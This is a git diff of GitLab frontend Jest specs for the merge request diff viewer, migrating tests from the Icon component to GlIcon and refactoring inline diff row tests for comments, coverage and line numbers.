diff --git a/spec/frontend/diffs/components/compare_versions_spec.js b/spec/frontend/diffs/components/compare_versions_spec.js
index 7fdbc791589..b3dfc71260c 100644
--- a/spec/frontend/diffs/components/compare_versions_spec.js
+++ b/spec/frontend/diffs/components/compare_versions_spec.js
@@ -2,7 +2,6 @@ import { trimText } from 'helpers/text_helper';
import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import CompareVersionsComponent from '~/diffs/components/compare_versions.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import { createStore } from '~/mr_notes/stores';
import diffsMockData from '../mock_data/merge_request_diffs';
import getDiffWithCommit from '../mock_data/diff_with_commit';
@@ -51,7 +50,7 @@ describe('CompareVersions', () => {
expect(treeListBtn.exists()).toBe(true);
expect(treeListBtn.attributes('title')).toBe('Hide file browser');
- expect(treeListBtn.find(Icon).props('name')).toBe('file-tree');
+ expect(treeListBtn.props('icon')).toBe('file-tree');
});
it('should render comparison dropdowns with correct values', () => {
diff --git a/spec/frontend/diffs/components/diff_content_spec.js b/spec/frontend/diffs/components/diff_content_spec.js
index b78895f9e55..6d0120d888e 100644
--- a/spec/frontend/diffs/components/diff_content_spec.js
+++ b/spec/frontend/diffs/components/diff_content_spec.js
@@ -177,23 +177,19 @@ describe('DiffContent', () => {
});
wrapper.find(NoteForm).vm.$emit('handleFormUpdate', noteStub);
- expect(saveDiffDiscussionMock).toHaveBeenCalledWith(
- expect.any(Object),
- {
- note: noteStub,
- formData: {
- noteableData: expect.any(Object),
- diffFile: currentDiffFile,
- positionType: IMAGE_DIFF_POSITION_TYPE,
- x: undefined,
- y: undefined,
- width: undefined,
- height: undefined,
- noteableType: undefined,
- },
+ expect(saveDiffDiscussionMock).toHaveBeenCalledWith(expect.any(Object), {
+ note: noteStub,
+ formData: {
+ noteableData: expect.any(Object),
+ diffFile: currentDiffFile,
+ positionType: IMAGE_DIFF_POSITION_TYPE,
+ x: undefined,
+ y: undefined,
+ width: undefined,
+ height: undefined,
+ noteableType: undefined,
},
- undefined,
- );
+ });
});
});
});
diff --git a/spec/frontend/diffs/components/diff_discussions_spec.js b/spec/frontend/diffs/components/diff_discussions_spec.js
index 83becc7a20a..96b76183cee 100644
--- a/spec/frontend/diffs/components/diff_discussions_spec.js
+++ b/spec/frontend/diffs/components/diff_discussions_spec.js
@@ -1,9 +1,9 @@
import { mount, createLocalVue } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import DiffDiscussions from '~/diffs/components/diff_discussions.vue';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import NoteableDiscussion from '~/notes/components/noteable_discussion.vue';
import DiscussionNotes from '~/notes/components/discussion_notes.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import { createStore } from '~/mr_notes/stores';
import '~/behaviors/markdown/render_gfm';
import discussionsMockData from '../mock_data/diff_discussions';
@@ -51,7 +51,7 @@ describe('DiffDiscussions', () => {
const diffNotesToggle = findDiffNotesToggle();
expect(diffNotesToggle.exists()).toBe(true);
- expect(diffNotesToggle.find(Icon).exists()).toBe(true);
+ expect(diffNotesToggle.find(GlIcon).exists()).toBe(true);
expect(diffNotesToggle.classes('diff-notes-collapse')).toBe(true);
});
diff --git a/spec/frontend/diffs/components/diff_expansion_cell_spec.js b/spec/frontend/diffs/components/diff_expansion_cell_spec.js
index b8aca4ad86b..81e08f09f62 100644
--- a/spec/frontend/diffs/components/diff_expansion_cell_spec.js
+++ b/spec/frontend/diffs/components/diff_expansion_cell_spec.js
@@ -10,7 +10,6 @@ import diffFileMockData from '../mock_data/diff_file';
const EXPAND_UP_CLASS = '.js-unfold';
const EXPAND_DOWN_CLASS = '.js-unfold-down';
-const LINE_TO_USE = 5;
const lineSources = {
[INLINE_DIFF_VIEW_TYPE]: 'highlighted_diff_lines',
[PARALLEL_DIFF_VIEW_TYPE]: 'parallel_diff_lines',
@@ -66,7 +65,7 @@ describe('DiffExpansionCell', () => {
beforeEach(() => {
mockFile = cloneDeep(diffFileMockData);
- mockLine = getLine(mockFile, INLINE_DIFF_VIEW_TYPE, LINE_TO_USE);
+ mockLine = getLine(mockFile, INLINE_DIFF_VIEW_TYPE, 8);
store = createStore();
store.state.diffs.diffFiles = [mockFile];
jest.spyOn(store, 'dispatch').mockReturnValue(Promise.resolve());
@@ -88,7 +87,7 @@ describe('DiffExpansionCell', () => {
const findExpandUp = () => vm.$el.querySelector(EXPAND_UP_CLASS);
const findExpandDown = () => vm.$el.querySelector(EXPAND_DOWN_CLASS);
- const findExpandAll = () => getByText(vm.$el, 'Show unchanged lines');
+ const findExpandAll = () => getByText(vm.$el, 'Show all unchanged lines');
describe('top row', () => {
it('should have "expand up" and "show all" option', () => {
@@ -126,12 +125,12 @@ describe('DiffExpansionCell', () => {
describe('any row', () => {
[
- { diffViewType: INLINE_DIFF_VIEW_TYPE, file: { parallel_diff_lines: [] } },
- { diffViewType: PARALLEL_DIFF_VIEW_TYPE, file: { highlighted_diff_lines: [] } },
- ].forEach(({ diffViewType, file }) => {
+ { diffViewType: INLINE_DIFF_VIEW_TYPE, lineIndex: 8, file: { parallel_diff_lines: [] } },
+ { diffViewType: PARALLEL_DIFF_VIEW_TYPE, lineIndex: 7, file: { highlighted_diff_lines: [] } },
+ ].forEach(({ diffViewType, file, lineIndex }) => {
describe(`with diffViewType (${diffViewType})`, () => {
beforeEach(() => {
- mockLine = getLine(mockFile, diffViewType, LINE_TO_USE);
+ mockLine = getLine(mockFile, diffViewType, lineIndex);
store.state.diffs.diffFiles = [{ ...mockFile, ...file }];
store.state.diffs.diffViewType = diffViewType;
});
@@ -189,10 +188,10 @@ describe('DiffExpansionCell', () => {
});
it('on expand down clicked, dispatch loadMoreLines', () => {
- mockFile[lineSources[diffViewType]][LINE_TO_USE + 1] = cloneDeep(
- mockFile[lineSources[diffViewType]][LINE_TO_USE],
+ mockFile[lineSources[diffViewType]][lineIndex + 1] = cloneDeep(
+ mockFile[lineSources[diffViewType]][lineIndex],
);
- const nextLine = getLine(mockFile, diffViewType, LINE_TO_USE + 1);
+ const nextLine = getLine(mockFile, diffViewType, lineIndex + 1);
nextLine.meta_data.old_pos = 300;
nextLine.meta_data.new_pos = 300;
diff --git a/spec/frontend/diffs/components/diff_file_header_spec.js b/spec/frontend/diffs/components/diff_file_header_spec.js
index 671dced080c..a0cad32b9fb 100644
--- a/spec/frontend/diffs/components/diff_file_header_spec.js
+++ b/spec/frontend/diffs/components/diff_file_header_spec.js
@@ -1,9 +1,10 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
+import { GlIcon } from '@gitlab/ui';
+import { cloneDeep } from 'lodash';
import DiffFileHeader from '~/diffs/components/diff_file_header.vue';
import EditButton from '~/diffs/components/edit_button.vue';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import diffDiscussionsMockData from '../mock_data/diff_discussions';
import { truncateSha } from '~/lib/utils/text_utility';
import { diffViewerModes } from '~/ide/constants';
@@ -26,12 +27,16 @@ const diffFile = Object.freeze(
}),
);
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
describe('DiffFileHeader component', () => {
let wrapper;
+ let mockStoreConfig;
const diffHasExpandedDiscussionsResultMock = jest.fn();
const diffHasDiscussionsResultMock = jest.fn();
- const mockStoreConfig = {
+ const defaultMockStoreConfig = {
state: {},
modules: {
diffs: {
@@ -44,6 +49,7 @@ describe('DiffFileHeader component', () => {
toggleFileDiscussions: jest.fn(),
toggleFileDiscussionWrappers: jest.fn(),
toggleFullDiff: jest.fn(),
+ toggleActiveFileByHash: jest.fn(),
},
},
},
@@ -55,6 +61,8 @@ describe('DiffFileHeader component', () => {
diffHasExpandedDiscussionsResultMock,
...Object.values(mockStoreConfig.modules.diffs.actions),
].forEach(mock => mock.mockReset());
+
+ wrapper.destroy();
});
const findHeader = () => wrapper.find({ ref: 'header' });
@@ -70,7 +78,7 @@ describe('DiffFileHeader component', () => {
const findCollapseIcon = () => wrapper.find({ ref: 'collapseIcon' });
const findIconByName = iconName => {
- const icons = wrapper.findAll(Icon).filter(w => w.props('name') === iconName);
+ const icons = wrapper.findAll(GlIcon).filter(w => w.props('name') === iconName);
if (icons.length === 0) return icons;
if (icons.length > 1) {
throw new Error(`Multiple icons found for ${iconName}`);
@@ -79,8 +87,7 @@ describe('DiffFileHeader component', () => {
};
const createComponent = props => {
- const localVue = createLocalVue();
- localVue.use(Vuex);
+ mockStoreConfig = cloneDeep(defaultMockStoreConfig);
const store = new Vuex.Store(mockStoreConfig);
wrapper = shallowMount(DiffFileHeader, {
@@ -285,7 +292,7 @@ describe('DiffFileHeader component', () => {
findToggleDiscussionsButton().vm.$emit('click');
expect(
mockStoreConfig.modules.diffs.actions.toggleFileDiscussionWrappers,
- ).toHaveBeenCalledWith(expect.any(Object), diffFile, undefined);
+ ).toHaveBeenCalledWith(expect.any(Object), diffFile);
});
});
diff --git a/spec/frontend/diffs/components/diff_file_row_spec.js b/spec/frontend/diffs/components/diff_file_row_spec.js
index afdd4bfb335..23adc8f9da4 100644
--- a/spec/frontend/diffs/components/diff_file_row_spec.js
+++ b/spec/frontend/diffs/components/diff_file_row_spec.js
@@ -7,9 +7,12 @@ import ChangedFileIcon from '~/vue_shared/components/changed_file_icon.vue';
describe('Diff File Row component', () => {
let wrapper;
- const createComponent = (props = {}) => {
+ const createComponent = (props = {}, highlightCurrentDiffRow = false) => {
wrapper = shallowMount(DiffFileRow, {
propsData: { ...props },
+ provide: {
+ glFeatures: { highlightCurrentDiffRow },
+ },
});
};
@@ -56,6 +59,31 @@ describe('Diff File Row component', () => {
);
});
+ it.each`
+ features | fileType | isViewed | expected
+ ${{ highlightCurrentDiffRow: true }} | ${'blob'} | ${false} | ${'gl-font-weight-bold'}
+ ${{}} | ${'blob'} | ${true} | ${''}
+ ${{}} | ${'tree'} | ${false} | ${''}
+ ${{}} | ${'tree'} | ${true} | ${''}
+ `(
+ 'with (features="$features", fileType="$fileType", isViewed=$isViewed), sets fileClasses="$expected"',
+ ({ features, fileType, isViewed, expected }) => {
+ createComponent(
+ {
+ file: {
+ type: fileType,
+ fileHash: '#123456789',
+ },
+ level: 0,
+ hideFileStats: false,
+ viewedFiles: isViewed ? { '#123456789': true } : {},
+ },
+ features.highlightCurrentDiffRow,
+ );
+ expect(wrapper.find(FileRow).props('fileClasses')).toBe(expected);
+ },
+ );
+
describe('FileRowStats components', () => {
it.each`
type | hideFileStats | value | desc
diff --git a/spec/frontend/diffs/components/diff_file_spec.js b/spec/frontend/diffs/components/diff_file_spec.js
index ead8bd79cdb..79f0f6bc327 100644
--- a/spec/frontend/diffs/components/diff_file_spec.js
+++ b/spec/frontend/diffs/components/diff_file_spec.js
@@ -45,7 +45,7 @@ describe('DiffFile', () => {
vm.$nextTick()
.then(() => {
- expect(el.querySelectorAll('.line_content').length).toBe(5);
+ expect(el.querySelectorAll('.line_content').length).toBe(8);
expect(el.querySelectorAll('.js-line-expansion-content').length).toBe(1);
triggerEvent('.btn-clipboard');
})
@@ -90,8 +90,8 @@ describe('DiffFile', () => {
vm.isCollapsed = true;
vm.$nextTick(() => {
- expect(vm.$el.innerText).toContain('This diff is collapsed');
- expect(vm.$el.querySelectorAll('.js-click-to-expand').length).toEqual(1);
+ expect(vm.$el.innerText).toContain('This file is collapsed.');
+ expect(vm.$el.querySelector('[data-testid="expandButton"]')).not.toBeFalsy();
done();
});
@@ -102,8 +102,8 @@ describe('DiffFile', () => {
vm.isCollapsed = true;
vm.$nextTick(() => {
- expect(vm.$el.innerText).toContain('This diff is collapsed');
- expect(vm.$el.querySelectorAll('.js-click-to-expand').length).toEqual(1);
+ expect(vm.$el.innerText).toContain('This file is collapsed.');
+ expect(vm.$el.querySelector('[data-testid="expandButton"]')).not.toBeFalsy();
done();
});
@@ -121,28 +121,8 @@ describe('DiffFile', () => {
vm.isCollapsed = true;
vm.$nextTick(() => {
- expect(vm.$el.innerText).toContain('This diff is collapsed');
- expect(vm.$el.querySelectorAll('.js-click-to-expand').length).toEqual(1);
-
- done();
- });
- });
-
- it('should auto-expand collapsed files when viewDiffsFileByFile is true', done => {
- vm.$destroy();
- window.gon = {
- features: { autoExpandCollapsedDiffs: true },
- };
- vm = createComponentWithStore(Vue.extend(DiffFileComponent), createStore(), {
- file: JSON.parse(JSON.stringify(diffFileMockDataUnreadable)),
- canCurrentUserFork: false,
- viewDiffsFileByFile: true,
- }).$mount();
-
- vm.$nextTick(() => {
- expect(vm.$el.innerText).not.toContain('This diff is collapsed');
-
- window.gon = {};
+ expect(vm.$el.innerText).toContain('This file is collapsed.');
+ expect(vm.$el.querySelector('[data-testid="expandButton"]')).not.toBeFalsy();
done();
});
@@ -155,7 +135,7 @@ describe('DiffFile', () => {
vm.file.viewer.name = diffViewerModes.renamed;
vm.$nextTick(() => {
- expect(vm.$el.innerText).not.toContain('This diff is collapsed');
+ expect(vm.$el.innerText).not.toContain('This file is collapsed.');
done();
});
@@ -168,7 +148,7 @@ describe('DiffFile', () => {
vm.file.viewer.name = diffViewerModes.mode_changed;
vm.$nextTick(() => {
- expect(vm.$el.innerText).not.toContain('This diff is collapsed');
+ expect(vm.$el.innerText).not.toContain('This file is collapsed.');
done();
});
@@ -235,7 +215,7 @@ describe('DiffFile', () => {
it('calls handleLoadCollapsedDiff if collapsed changed & file has no lines', done => {
jest.spyOn(vm, 'handleLoadCollapsedDiff').mockImplementation(() => {});
- vm.file.highlighted_diff_lines = undefined;
+ vm.file.highlighted_diff_lines = [];
vm.file.parallel_diff_lines = [];
vm.isCollapsed = true;
@@ -262,8 +242,8 @@ describe('DiffFile', () => {
jest.spyOn(vm, 'handleLoadCollapsedDiff').mockImplementation(() => {});
- vm.file.highlighted_diff_lines = undefined;
- vm.file.parallel_diff_lines = [];
+ vm.file.highlighted_diff_lines = [];
+ vm.file.parallel_diff_lines = undefined;
vm.isCollapsed = true;
vm.$nextTick()
diff --git a/spec/frontend/diffs/components/diff_stats_spec.js b/spec/frontend/diffs/components/diff_stats_spec.js
index 7a083fb6bde..4dcbb3ec332 100644
--- a/spec/frontend/diffs/components/diff_stats_spec.js
+++ b/spec/frontend/diffs/components/diff_stats_spec.js
@@ -1,6 +1,6 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import DiffStats from '~/diffs/components/diff_stats.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const TEST_ADDED_LINES = 100;
const TEST_REMOVED_LINES = 200;
@@ -53,7 +53,7 @@ describe('diff_stats', () => {
describe('files changes', () => {
const findIcon = name =>
wrapper
- .findAll(Icon)
+ .findAll(GlIcon)
.filter(c => c.attributes('name') === name)
.at(0).element.parentNode;
diff --git a/spec/frontend/diffs/components/image_diff_overlay_spec.js b/spec/frontend/diffs/components/image_diff_overlay_spec.js
index accf0a972d0..5a88a3cabd1 100644
--- a/spec/frontend/diffs/components/image_diff_overlay_spec.js
+++ b/spec/frontend/diffs/components/image_diff_overlay_spec.js
@@ -1,8 +1,8 @@
import { shallowMount } from '@vue/test-utils';
+import { GlIcon } from '@gitlab/ui';
import ImageDiffOverlay from '~/diffs/components/image_diff_overlay.vue';
import { createStore } from '~/mr_notes/stores';
import { imageDiffDiscussions } from '../mock_data/diff_discussions';
-import Icon from '~/vue_shared/components/icon.vue';
describe('Diffs image diff overlay component', () => {
const dimensions = {
@@ -64,7 +64,7 @@ describe('Diffs image diff overlay component', () => {
it('renders icon when showCommentIcon is true', () => {
createComponent({ showCommentIcon: true });
- expect(wrapper.find(Icon).exists()).toBe(true);
+ expect(wrapper.find(GlIcon).exists()).toBe(true);
});
it('sets badge comment positions', () => {
diff --git a/spec/frontend/diffs/components/inline_diff_expansion_row_spec.js b/spec/frontend/diffs/components/inline_diff_expansion_row_spec.js
index 90f012fbafe..81e5403d502 100644
--- a/spec/frontend/diffs/components/inline_diff_expansion_row_spec.js
+++ b/spec/frontend/diffs/components/inline_diff_expansion_row_spec.js
@@ -5,12 +5,13 @@ import InlineDiffExpansionRow from '~/diffs/components/inline_diff_expansion_row
import diffFileMockData from '../mock_data/diff_file';
describe('InlineDiffExpansionRow', () => {
- const matchLine = diffFileMockData.highlighted_diff_lines[5];
+ const mockData = { ...diffFileMockData };
+ const matchLine = mockData.highlighted_diff_lines.pop();
const createComponent = (options = {}) => {
const cmp = Vue.extend(InlineDiffExpansionRow);
const defaults = {
- fileHash: diffFileMockData.file_hash,
+ fileHash: mockData.file_hash,
contextLinesPath: 'contextLinesPath',
line: matchLine,
isTop: false,
diff --git a/spec/frontend/diffs/components/inline_diff_table_row_spec.js b/spec/frontend/diffs/components/inline_diff_table_row_spec.js
index f929f97b598..951b3f6258b 100644
--- a/spec/frontend/diffs/components/inline_diff_table_row_spec.js
+++ b/spec/frontend/diffs/components/inline_diff_table_row_spec.js
@@ -1,114 +1,317 @@
import { shallowMount } from '@vue/test-utils';
+import { TEST_HOST } from 'helpers/test_constants';
import { createStore } from '~/mr_notes/stores';
import InlineDiffTableRow from '~/diffs/components/inline_diff_table_row.vue';
+import DiffGutterAvatars from '~/diffs/components/diff_gutter_avatars.vue';
import diffFileMockData from '../mock_data/diff_file';
+import discussionsMockData from '../mock_data/diff_discussions';
+
+const TEST_USER_ID = 'abc123';
+const TEST_USER = { id: TEST_USER_ID };
describe('InlineDiffTableRow', () => {
let wrapper;
- let vm;
+ let store;
const thisLine = diffFileMockData.highlighted_diff_lines[0];
- beforeEach(() => {
+ const createComponent = (props = {}, propsStore = store) => {
wrapper = shallowMount(InlineDiffTableRow, {
- store: createStore(),
+ store: propsStore,
propsData: {
line: thisLine,
fileHash: diffFileMockData.file_hash,
filePath: diffFileMockData.file_path,
contextLinesPath: 'contextLinesPath',
isHighlighted: false,
+ ...props,
},
});
- vm = wrapper.vm;
+ };
+
+ const setWindowLocation = value => {
+ Object.defineProperty(window, 'location', {
+ writable: true,
+ value,
+ });
+ };
+
+ beforeEach(() => {
+ store = createStore();
+ store.state.notes.userData = TEST_USER;
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
});
- it('does not add hll class to line content when line does not match highlighted row', done => {
- vm.$nextTick()
- .then(() => {
- expect(wrapper.find('.line_content').classes('hll')).toBe(false);
- })
- .then(done)
- .catch(done.fail);
+ it('does not add hll class to line content when line does not match highlighted row', () => {
+ createComponent();
+ expect(wrapper.find('.line_content').classes('hll')).toBe(false);
});
- it('adds hll class to lineContent when line is the highlighted row', done => {
- vm.$nextTick()
- .then(() => {
- vm.$store.state.diffs.highlightedRow = thisLine.line_code;
-
- return vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.find('.line_content').classes('hll')).toBe(true);
- })
- .then(done)
- .catch(done.fail);
+ it('adds hll class to lineContent when line is the highlighted row', () => {
+ store.state.diffs.highlightedRow = thisLine.line_code;
+ createComponent({}, store);
+ expect(wrapper.find('.line_content').classes('hll')).toBe(true);
});
it('adds hll class to lineContent when line is part of a multiline comment', () => {
- wrapper.setProps({ isCommented: true });
- return vm.$nextTick().then(() => {
- expect(wrapper.find('.line_content').classes('hll')).toBe(true);
- });
+ createComponent({ isCommented: true });
+ expect(wrapper.find('.line_content').classes('hll')).toBe(true);
});
describe('sets coverage title and class', () => {
- it('for lines with coverage', done => {
- vm.$nextTick()
- .then(() => {
- const name = diffFileMockData.file_path;
- const line = thisLine.new_line;
-
- vm.$store.state.diffs.coverageFiles = { files: { [name]: { [line]: 5 } } };
-
- return vm.$nextTick();
- })
- .then(() => {
- const coverage = wrapper.find('.line-coverage');
-
- expect(coverage.attributes('title')).toContain('Test coverage: 5 hits');
- expect(coverage.classes('coverage')).toBe(true);
- })
- .then(done)
- .catch(done.fail);
+ it('for lines with coverage', () => {
+ const name = diffFileMockData.file_path;
+ const line = thisLine.new_line;
+
+ store.state.diffs.coverageFiles = { files: { [name]: { [line]: 5 } } };
+ createComponent({}, store);
+ const coverage = wrapper.find('.line-coverage');
+
+ expect(coverage.attributes('title')).toContain('Test coverage: 5 hits');
+ expect(coverage.classes('coverage')).toBe(true);
+ });
+
+ it('for lines without coverage', () => {
+ const name = diffFileMockData.file_path;
+ const line = thisLine.new_line;
+
+ store.state.diffs.coverageFiles = { files: { [name]: { [line]: 0 } } };
+ createComponent({}, store);
+ const coverage = wrapper.find('.line-coverage');
+
+ expect(coverage.attributes('title')).toContain('No test coverage');
+ expect(coverage.classes('no-coverage')).toBe(true);
+ });
+
+ it('for unknown lines', () => {
+ store.state.diffs.coverageFiles = {};
+ createComponent({}, store);
+
+ const coverage = wrapper.find('.line-coverage');
+
+ expect(coverage.attributes('title')).toBeUndefined();
+ expect(coverage.classes('coverage')).toBe(false);
+ expect(coverage.classes('no-coverage')).toBe(false);
+ });
+ });
+
+ describe('Table Cells', () => {
+ const findNewTd = () => wrapper.find({ ref: 'newTd' });
+ const findOldTd = () => wrapper.find({ ref: 'oldTd' });
+
+ describe('td', () => {
+ it('highlights when isHighlighted true', () => {
+ store.state.diffs.highlightedRow = thisLine.line_code;
+ createComponent({}, store);
+
+ expect(findNewTd().classes()).toContain('hll');
+ expect(findOldTd().classes()).toContain('hll');
+ });
+
+ it('does not highlight when isHighlighted false', () => {
+ createComponent();
+
+ expect(findNewTd().classes()).not.toContain('hll');
+ expect(findOldTd().classes()).not.toContain('hll');
+ });
+ });
+
+ describe('comment button', () => {
+ const findNoteButton = () => wrapper.find({ ref: 'addDiffNoteButton' });
+
+ it.each`
+ userData | query | mergeRefHeadComments | expectation
+ ${TEST_USER} | ${'diff_head=false'} | ${false} | ${true}
+ ${TEST_USER} | ${'diff_head=true'} | ${true} | ${true}
+ ${TEST_USER} | ${'diff_head=true'} | ${false} | ${false}
+ ${null} | ${''} | ${true} | ${false}
+ `(
+ 'exists is $expectation - with userData ($userData) query ($query)',
+ ({ userData, query, mergeRefHeadComments, expectation }) => {
+ store.state.notes.userData = userData;
+ gon.features = { mergeRefHeadComments };
+ setWindowLocation({ href: `${TEST_HOST}?${query}` });
+ createComponent({}, store);
+
+ expect(findNoteButton().exists()).toBe(expectation);
+ },
+ );
+
+ it.each`
+ isHover | line | expectation
+ ${true} | ${{ ...thisLine, discussions: [] }} | ${true}
+ ${false} | ${{ ...thisLine, discussions: [] }} | ${false}
+ ${true} | ${{ ...thisLine, type: 'context', discussions: [] }} | ${false}
+ ${true} | ${{ ...thisLine, type: 'old-nonewline', discussions: [] }} | ${false}
+ ${true} | ${{ ...thisLine, discussions: [{}] }} | ${false}
+ `('visible is $expectation - line ($line)', ({ isHover, line, expectation }) => {
+ createComponent({ line });
+ wrapper.setData({ isHover });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findNoteButton().isVisible()).toBe(expectation);
+ });
+ });
+
+ it.each`
+ disabled | commentsDisabled
+ ${'disabled'} | ${true}
+ ${undefined} | ${false}
+ `(
+ 'has attribute disabled=$disabled when the outer component has prop commentsDisabled=$commentsDisabled',
+ ({ disabled, commentsDisabled }) => {
+ createComponent({
+ line: { ...thisLine, commentsDisabled },
+ });
+
+ wrapper.setData({ isHover: true });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findNoteButton().attributes('disabled')).toBe(disabled);
+ });
+ },
+ );
+
+ const symlinkishFileTooltip =
+ 'Commenting on symbolic links that replace or are replaced by files is currently not supported.';
+ const realishFileTooltip =
+ 'Commenting on files that replace or are replaced by symbolic links is currently not supported.';
+ const otherFileTooltip = 'Add a comment to this line';
+ const findTooltip = () => wrapper.find({ ref: 'addNoteTooltip' });
+
+ it.each`
+ tooltip | commentsDisabled
+ ${symlinkishFileTooltip} | ${{ wasSymbolic: true }}
+ ${symlinkishFileTooltip} | ${{ isSymbolic: true }}
+ ${realishFileTooltip} | ${{ wasReal: true }}
+ ${realishFileTooltip} | ${{ isReal: true }}
+ ${otherFileTooltip} | ${false}
+ `(
+ 'has the correct tooltip when commentsDisabled=$commentsDisabled',
+ ({ tooltip, commentsDisabled }) => {
+ createComponent({
+ line: { ...thisLine, commentsDisabled },
+ });
+
+ wrapper.setData({ isHover: true });
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(findTooltip().attributes('title')).toBe(tooltip);
+ });
+ },
+ );
});
- it('for lines without coverage', done => {
- vm.$nextTick()
- .then(() => {
- const name = diffFileMockData.file_path;
- const line = thisLine.new_line;
+ describe('line number', () => {
+ const findLineNumberOld = () => wrapper.find({ ref: 'lineNumberRefOld' });
+ const findLineNumberNew = () => wrapper.find({ ref: 'lineNumberRefNew' });
+
+ it('renders line numbers in correct cells', () => {
+ createComponent();
+
+ expect(findLineNumberOld().exists()).toBe(false);
+ expect(findLineNumberNew().exists()).toBe(true);
+ });
- vm.$store.state.diffs.coverageFiles = { files: { [name]: { [line]: 0 } } };
+ describe('with lineNumber prop', () => {
+ const TEST_LINE_CODE = 'LC_42';
+ const TEST_LINE_NUMBER = 1;
- return vm.$nextTick();
- })
- .then(() => {
- const coverage = wrapper.find('.line-coverage');
+ describe.each`
+ lineProps | findLineNumber | expectedHref | expectedClickArg
+ ${{ line_code: TEST_LINE_CODE, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${`#${TEST_LINE_CODE}`} | ${TEST_LINE_CODE}
+ ${{ line_code: undefined, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${'#'} | ${undefined}
+ ${{ line_code: undefined, left: { line_code: TEST_LINE_CODE }, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${'#'} | ${TEST_LINE_CODE}
+ ${{ line_code: undefined, right: { line_code: TEST_LINE_CODE }, new_line: TEST_LINE_NUMBER }} | ${findLineNumberNew} | ${'#'} | ${TEST_LINE_CODE}
+ `(
+ 'with line ($lineProps)',
+ ({ lineProps, findLineNumber, expectedHref, expectedClickArg }) => {
+ beforeEach(() => {
+ jest.spyOn(store, 'dispatch').mockImplementation();
+ createComponent({
+ line: { ...thisLine, ...lineProps },
+ });
+ });
- expect(coverage.attributes('title')).toContain('No test coverage');
- expect(coverage.classes('no-coverage')).toBe(true);
- })
- .then(done)
- .catch(done.fail);
+ it('renders', () => {
+ expect(findLineNumber().exists()).toBe(true);
+ expect(findLineNumber().attributes()).toEqual({
+ href: expectedHref,
+ 'data-linenumber': TEST_LINE_NUMBER.toString(),
+ });
+ });
+
+ it('on click, dispatches setHighlightedRow', () => {
+ expect(store.dispatch).toHaveBeenCalledTimes(1);
+
+ findLineNumber().trigger('click');
+
+ expect(store.dispatch).toHaveBeenCalledWith(
+ 'diffs/setHighlightedRow',
+ expectedClickArg,
+ );
+ expect(store.dispatch).toHaveBeenCalledTimes(2);
+ });
+ },
+ );
+ });
});
- it('for unknown lines', done => {
- vm.$nextTick()
- .then(() => {
- vm.$store.state.diffs.coverageFiles = {};
-
- return vm.$nextTick();
- })
- .then(() => {
- const coverage = wrapper.find('.line-coverage');
-
- expect(coverage.attributes('title')).toBeUndefined();
- expect(coverage.classes('coverage')).toBe(false);
- expect(coverage.classes('no-coverage')).toBe(false);
- })
- .then(done)
- .catch(done.fail);
+ describe('diff-gutter-avatars', () => {
+ const TEST_LINE_CODE = 'LC_42';
+ const TEST_FILE_HASH = diffFileMockData.file_hash;
+ const findAvatars = () => wrapper.find(DiffGutterAvatars);
+ let line;
+
+ beforeEach(() => {
+ jest.spyOn(store, 'dispatch').mockImplementation();
+
+ line = {
+ line_code: TEST_LINE_CODE,
+ type: 'new',
+ old_line: null,
+ new_line: 1,
+ discussions: [{ ...discussionsMockData }],
+ discussionsExpanded: true,
+ text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ rich_text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
+ meta_data: null,
+ };
+ });
+
+ describe('with showCommentButton', () => {
+ it('renders if line has discussions', () => {
+ createComponent({ line });
+
+ expect(findAvatars().props()).toEqual({
+ discussions: line.discussions,
+ discussionsExpanded: line.discussionsExpanded,
+ });
+ });
+
+ it('does notrender if line has no discussions', () => {
+ line.discussions = [];
+ createComponent({ line });
+
+ expect(findAvatars().exists()).toEqual(false);
+ });
+
+ it('toggles line discussion', () => {
+ createComponent({ line });
+
+ expect(store.dispatch).toHaveBeenCalledTimes(1);
+
+ findAvatars().vm.$emit('toggleLineDiscussions');
+
+ expect(store.dispatch).toHaveBeenCalledWith('diffs/toggleLineDiscussions', {
+ lineCode: TEST_LINE_CODE,
+ fileHash: TEST_FILE_HASH,
+ expanded: !line.discussionsExpanded,
+ });
+ });
+ });
});
});
});
diff --git a/spec/frontend/diffs/components/inline_diff_view_spec.js b/spec/frontend/diffs/components/inline_diff_view_spec.js
index 6c37f86658e..39c581e2796 100644
--- a/spec/frontend/diffs/components/inline_diff_view_spec.js
+++ b/spec/frontend/diffs/components/inline_diff_view_spec.js
@@ -30,8 +30,8 @@ describe('InlineDiffView', () => {
it('should have rendered diff lines', () => {
const el = component.$el;
- expect(el.querySelectorAll('tr.line_holder').length).toEqual(5);
- expect(el.querySelectorAll('tr.line_holder.new').length).toEqual(2);
+ expect(el.querySelectorAll('tr.line_holder').length).toEqual(8);
+ expect(el.querySelectorAll('tr.line_holder.new').length).toEqual(4);
expect(el.querySelectorAll('tr.line_expansion.match').length).toEqual(1);
expect(el.textContent.indexOf('Bad dates')).toBeGreaterThan(-1);
});
diff --git a/spec/frontend/diffs/components/merge_conflict_warning_spec.js b/spec/frontend/diffs/components/merge_conflict_warning_spec.js
new file mode 100644
index 00000000000..2f303f25f66
--- /dev/null
+++ b/spec/frontend/diffs/components/merge_conflict_warning_spec.js
@@ -0,0 +1,77 @@
+import { shallowMount, mount } from '@vue/test-utils';
+import MergeConflictWarning from '~/diffs/components/merge_conflict_warning.vue';
